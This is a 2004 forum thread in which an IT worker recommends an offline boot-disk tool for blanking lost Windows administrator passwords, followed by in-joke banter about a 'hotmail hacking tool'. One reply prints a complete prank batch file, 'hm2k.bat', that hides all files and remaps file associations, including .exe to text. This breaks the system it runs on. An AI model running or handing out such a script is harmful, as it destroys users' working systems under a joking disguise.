Topic: Need to reset the administrator password on XP or 2000? (Read 4276 times)

Demosthenes · « **on:** August 18, 2004, 09:21:07 AM »

I found a great way, right here:

http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html

We had a bunch of workstations that needed to rejoin our domain yesterday (after our domain controller refused to recognize them anymore for some stupid reason), but two of those workstations apparently had administrator passwords that NOBODY FRICKEN KNEW.

Needless to say, it got me poking around the web, looking for ways around this without having to flatten and reinstall.

And I ran across the above, tried it, and it worked.

Piece of advice though: reset the password to blank. Don't try to put in some other password. The more you write to an NTFS disk from something that's not NTFS, the bigger your chances of wrecking your file system.

xolik · « **Reply #1 on:** August 18, 2004, 09:58:25 AM »

I've used this at work a lot. It's great! I've had no luck actually changing the password, but blanking it out always works.

pbsaurus · « **Reply #2 on:** August 18, 2004, 02:12:02 PM »

Cool!

avalanche · « **Reply #3 on:** August 18, 2004, 02:49:37 PM »

Did you find that link at the forum at this site? I've heard they have a really cool hotmail hacking tool.

Demosthenes · « **Reply #4 on:** August 18, 2004, 03:34:36 PM »

Quote from: avalanche

Did you find that link at the forum at this site? I've heard they have a really cool hotmail hacking tool.

Ooooh! That hacking tool there is teh r0xx0r!!!!!1

dcrog · « **Reply #5 on:** August 18, 2004, 03:48:41 PM »

Quote from: Demosthenes

Quote from: avalanche
Did you find that link at the forum at this site? I've heard they have a really cool hotmail hacking tool.

Ooooh! That hacking tool there is teh r0xx0r!!!!!1

Pffft. Someone told me you never did get the hang of using that program correctly Demo.

The_FOO · « **Reply #6 on:** August 18, 2004, 04:17:34 PM »

I still like this the best. Which has that tool on it already.

DiscipleOfChaos · « **Reply #7 on:** August 19, 2004, 09:19:11 AM »

Quote from: dcrog

Quote from: Demosthenes
Quote from: avalanche
Did you find that link at the forum at this site? I've heard they have a really cool hotmail hacking tool.

Ooooh! That hacking tool there is teh r0xx0r!!!!!1

Pffft. Someone told me you never did get the hang of using that program correctly Demo.

Are you KIDDING? Demo's original code was BASED on that tool!

Explains rather a lot, now that I think about it...

Demosthenes · « **Reply #8 on:** August 19, 2004, 09:32:30 AM »

That tool was based on my original code.

Which explains even more, if you think about it.

dcrog · « **Reply #9 on:** August 19, 2004, 03:19:38 PM »

Quote from: DiscipleOfChaos

Are you KIDDING?

Do you mean it wasn't obvious?

Although bait may have described it better.

The_FOO · « **Reply #10 on:** August 21, 2004, 10:08:16 AM »

Should I bother asking? Or is this another one of those in jokes that aren't funny if you weren't there?

hackess · « **Reply #11 on:** August 21, 2004, 10:35:10 AM »

Oh, it's funny all right...I think Demo should have the honors.

The_FOO · « **Reply #12 on:** August 21, 2004, 10:46:38 AM »

Quote from: catwritr

Oh, it's funny all right...I think Demo should have the honors.

Sounds good to me. Fetch eh? la Demosthenes!

DiscipleOfChaos · « **Reply #13 on:** August 21, 2004, 02:38:05 PM »

Quote from: Demosthenes

That tool was based on my original code.

Which explains even more, if you think about it.

Woah.

[/Keanu]

There's just way too much thinking going on in this thread.

dcrog · « **Reply #14 on:** August 21, 2004, 03:03:47 PM »

Quote from: DiscipleOfChaos

There's just way too much thinking going on in this thread.

That's what I thought.

DiscipleOfChaos · « **Reply #15 on:** August 22, 2004, 10:16:56 AM »

*DoC's head a'splode*

Demosthenes · « **Reply #16 on:** August 23, 2004, 10:22:15 AM »

FOO, I'm pretty sure you've seen this.

file: hm2k.bat

Code: [Select]

// Disclaimer:  Do not run this batch file on any active system
// For entertainment purposes only

@echo off
c:
cd \

ATTRIB +h *.* /s /d

ASSOC .jpg=txtfile
ASSOC .gif=txtfile
ASSOC .lnk=txtfile
ASSOC .url=txtfile
ASSOC .bmp=txtfile
ASSOC .htm=txtfile
ASSOC .mpg=txtfile
ASSOC .avi=txtfile
ASSOC .mp3=txtfile
ASSOC .wav=txtfile
ASSOC .txt=exefile
ASSOC .com=txtfile
ASSOC .exe=txtfile

CLS

:end

Gillivray · « **Reply #17 on:** August 23, 2004, 01:15:56 PM »

I like the file shredder option of the original post on this thread. heh

hackess · « **Reply #18 on:** August 23, 2004, 01:21:51 PM »

Quote from: Gillivray

I like the file shredder option of the original post on this thread. heh

reads original post in this thread

reads again

How'd you get uberl33t p0w3rz? I don't see a file shredding option! Chris, I call foul.

The_FOO · « **Reply #19 on:** August 23, 2004, 01:35:48 PM »

Quote from: Demosthenes

FOO, I'm pretty sure you've seen this.

file: hm2k.bat
[code]// Disclaimer: Do not run this batch file on any active system
// For entertainment purposes only
*snip*

Oh yeah! I did see that. That's teh funay.

The_FOO · « **Reply #20 on:** August 23, 2004, 01:37:51 PM »

Quote from: catwritr

Quote from: Gillivray
I like the file shredder option of the original post on this thread. heh

reads original post in this thread

reads again

How'd you get uberl33t p0w3rz? I don't see a file shredding option! Chris, I call foul.

Quote from: demosthenes

Piece of advice though: reset the password to blank. Don't try to put in some other password. The more you write to an NTFS disk from something that's not NTFS, the bigger your chances of wrecking your file system.

I think that's what he means. Unless he meant this other thread?

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